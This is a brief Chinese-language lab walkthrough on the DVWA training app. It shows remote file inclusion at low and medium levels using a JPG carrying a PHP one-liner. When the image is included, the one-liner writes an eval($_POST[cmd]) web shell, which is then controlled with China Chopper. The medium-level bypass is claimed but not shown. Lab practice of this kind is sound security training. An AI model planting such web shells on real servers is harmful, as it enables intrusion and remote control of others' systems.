环境：DVWA，low级别

1、制作一句话图片，放到一台服务器上，该服务器ip：192.168.152.128

将yc.jpg照片拖入edjpgcom软件，添加下面这句话

<?fputs(fopen("1.php","w"),'<?php eval（$_POST[cmd]);?>')?>

2、访问一下该图片

3、选择文件包含页面

4、执行远程文件包含并生成后门

5、在/var/www/dvwa/vulnerabilities/fi目录生成了1.php

6、菜刀链接

二、环境：DVWA，medium级别

前三步和low级别一样

我们查看一下源码，发现屏蔽了http://和https://

4、执行远程文件包含并生成后门

成功绕过